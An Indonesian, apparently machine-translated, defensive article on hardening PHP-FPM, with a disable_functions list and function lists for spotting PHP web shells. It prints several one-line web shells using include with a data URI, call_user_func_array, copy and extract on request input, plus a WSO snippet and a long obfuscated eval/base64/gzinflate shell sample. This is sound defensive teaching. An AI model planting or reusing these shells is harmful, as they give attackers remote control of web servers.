Modesco Holding - adalah lebih dari 300 situs informasi dan 5 layanan Internet utama. Proyek dibeli dan dijual secara teratur. Seperti yang Anda pahami, secara fisik tidak mungkin untuk mempertahankan kode berkualitas tinggi dalam situasi ini. Dan perhatian utama programmer, sebagai suatu peraturan, difokuskan pada layanan itu sendiri. Hacks, shell, infeksi situs dengan hal-hal jahat lainnya ... Semua ini menyebabkan kerugian yang signifikan bagi pengguna dan perusahaan. Untuk menghindari hal ini, kita sering harus mencari cara yang agak tidak standar untuk mengurangi risiko.

fastcgi_param PHP_VALUE open_basedir="/code/"; fastcgi_param PHP_ADMIN_VALUE disable_functions="exec,expect_popen,mail,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,shell_exec,system";
Ini tidak berarti bahwa semua fungsi berbahaya harus segera dilarang. Itu tidak berarti bahwa dengan menonaktifkannya, Anda pasti akan melindungi diri dari semua shell PHP. Sebagian besar fitur ini dapat digunakan dengan aman di aplikasi, Framework, atau perpustakaan Anda. Setiap aplikasi harus didekati secara individual. Keamanan adalah proses membangun pertahanan secara mendalam, dan menonaktifkan fungsi berbahaya dalam kasus ini hanyalah salah satu garis pertahanan yang mungkin.
Daftar fungsi semacam itu mungkin merupakan asisten untuk menemukan file yang mencurigakan. PHP-shell dapat disembunyikan dengan sangat cerdik - contoh kebingungan yang sangat bagus adalah artikel tentang habr
Artikel ini didasarkan pada catatan stackoverflow dan pengalaman kami sendiri menguraikan serangkaian besar shell PHP .
Apa yang harus dilakukan dengannya?
Alangkah baiknya mematikan beberapa fungsi berbahaya untuk PHP-fpm (atau yang lainnya). Tinggalkan peluang untuk mengeksekusi mereka hanya melalui PHP-cli. Tampilan fungsi lain harus dipantau dalam file. Yang ketiga harus diperlakukan lebih hati-hati dan tidak membiarkan garis-garis yang tidak bersih atau benar-benar tidak divalidasi masuk ke dalam argumen.
Fungsi Eksekusi Perintah
exec expect_popen passthru system shell_exec popen proc_open pcntl_exec
Fitur-fitur ini harus dimatikan dulu. Jika Anda membutuhkannya dalam PHP-fpm, maka Anda melakukan sesuatu yang salah. Fungsi-fungsi ini memungkinkan Anda untuk keluar dari lingkungan yang ditentukan dalam open_basedir. Mematikan hanya sebagian dari fungsi tidak akan cukup. Misalnya, banyak shell WSO tercinta, yang mencari peluang untuk eksekusi kode, menyebutkan fungsi.
function wsoEx($in) { $out = ''; if (function_exists('exec')) { } elseif (function_exists('passthru')) { } elseif (function_exists('system')) { } elseif (function_exists('shell_exec')) { } elseif (function_exists('pcntl_exec')) { } elseif (function_exists('expect_popen')) { } elseif (function_exists('proc_open')) { } elseif (is_resource($f = @popen($in,"r"))) { } return $out; }
Fitur manajemen proses
pcntl_alarm pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifcontinued pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig
Mereka juga harus dimatikan. Misalnya, proc_open
ditemukan di WSO. Ya dan tidak ada tempat untuk fungsi tersebut di lingkungan PHP-fpm. Daemon harus diluncurkan melalui PHP-cli.
phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid
Fungsi-fungsi ini mengungkapkan informasi tentang sistem Anda dan dapat sangat memudahkan serangan terhadap perangkat lunak lain. Dan mereka juga dapat menjadi sumber kebocoran data rahasia, misalnya, dalam symfony disarankan untuk menyimpan koneksi database di ENV. Karena itu, disarankan untuk melarang pelaksanaan fungsi-fungsi ini, kecuali yang digunakan dalam aplikasi Anda.
Fungsi menjalankan kode PHP
eval assert preg_replace create_function include include_once require require_once
Perlu memeriksa keberadaan mereka dalam file yang diunduh dan melakukan pemeriksaan rutin terhadap file saat ini. Selain eval
ada cara lain untuk mengeksekusi kode PHP. Misalnya, Anda dapat menyertakan file JPG yang dibuat khusus . Namun, sebagian besar kerangka kerja dan aplikasi menggunakan fungsi ini - Anda tidak dapat menonaktifkannya. Karena itu, sangat penting untuk berhati-hati saat menggunakannya. Shell bisa hanya satu baris:
include("data:text/plain;base64,$_GET[code]");
Fungsi yang Menggunakan Callback
ob_start array_diff_uassoc array_diff_ukey array_filter array_intersect_uassoc array_intersect_ukey array_map array_reduce array_udiff_assoc array_udiff_uassoc array_udiff array_uintersect_assoc array_uintersect_uassoc array_uintersect array_walk_recursive array_walk assert_options uasort uksort usort preg_replace_callback spl_autoload_register iterator_apply call_user_func call_user_func_array register_shutdown_function register_tick_function set_error_handler set_exception_handler session_set_save_handler sqlite_create_aggregate sqlite_create_function
Fungsi-fungsi ini dapat digunakan untuk memanggil fungsi-fungsi lain dengan melewatkan parameter string. Perlu menerapkannya dengan hati-hati dan tidak membiarkan data mentah masuk ke argumen fungsi. Bagaimanapun, mereka juga bisa berfungsi untuk menutupi cangkang. Contoh shell paling sederhana menggunakan fungsi-fungsi ini terlihat seperti ini:
print_r(call_user_func_array($_POST['functie'], array($_POST['argv'])));
Fungsi Sering Digunakan dalam Kebingungan
eval assert str_rot13 base64_decode gzinflate gzuncompress preg_replace chr hexdec decbin bindec ord str_replace substr goto unserialize trim rtrim ltrim explode strchr strstr chunk_split strtok addcslashes runkit_function_rename rename_function call_user_func_array call_user_func register_tick_function register_shutdown_function
Fungsi-fungsi ini sering digunakan untuk menutupi kulit PHP yang sudah diketahui dari antivirus dan dari mencongkel mata. Periksa keberadaan file yang diunduh, lakukan pemeriksaan rutin pada file saat ini. Contoh menyembunyikan shell:
eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));
Fitur Sistem File
fopen tmpfile bzopen gzopen chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng imagewbmp image2wbmp imagejpeg imagexbm imagegif imagegd imagegd2 iptcembed ftp_get ftp_nb_get file_exists file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file highlight_file show_source php_strip_whitespace get_meta_tags
Fungsi-fungsi ini dapat digunakan untuk mengunduh file atau untuk mengungkapkan informasi tentang sistem - ada baiknya menggunakannya dengan hati-hati. Banyak shell PHP dapat mengunggah file pihak ketiga melalui ftp. PHP shell sederhana untuk memuat file sewenang-wenang terlihat seperti ini:
copy($_GET['s'], $_GET['d']);
Lainnya
extract parse_str putenv ini_set mail header proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid
Perhatian juga diperlukan untuk fungsi-fungsi ini, dan beberapa di antaranya dilarang. Misalnya, mail
dapat digunakan untuk mengirim spam ke situs yang terinfeksi. Jika aplikasi Anda tidak bermaksud untuk menggunakan fungsi-fungsi ini, maka nonaktifkan mereka. Konstruksi berikut ini tidak menakutkan, tetapi itu adalah salah satu shell PHP terkecil:
@extract($_REQUEST); @die ($ctime($atime));
Kesimpulan
Menonaktifkan fungsi PHP yang tidak aman adalah salah satu cara untuk mengurangi risiko kehabisan sumber daya. Jika orang-orang dengan "pengetahuan khusus" terlibat dalam proyek Anda, kemungkinan besar akan jatuh.
Perlindungan ini terbukti sangat baik di situs-situs pada CMS - mereka terinfeksi, sebagai suatu peraturan, oleh jaringan jahat dalam mode otomatis. Jika bot pemindaian tidak dapat menjalankan perintah atau shell PHP yang dibanjiri, kemungkinan besar ia akan pergi ke situs berikutnya.
Saya harap artikel ini akan mendorong pemula untuk lebih berhati-hati dalam memfilter, melindungi, dan memvalidasi data yang diterima dari pengguna.
Artikel ini tidak berpura-pura memiliki pengetahuan unik - dalam satu atau lain bentuk, materi ini telah ditemukan di Runet. Teks tersebut adalah materi yang digeneralisasikan dan disistematisasikan untuk menarik perhatian pada masalah.
Mungkin dia akan dapat memotivasi seseorang untuk menulis materi kompleks tentang keamanan Wordpress, atau CMS lain.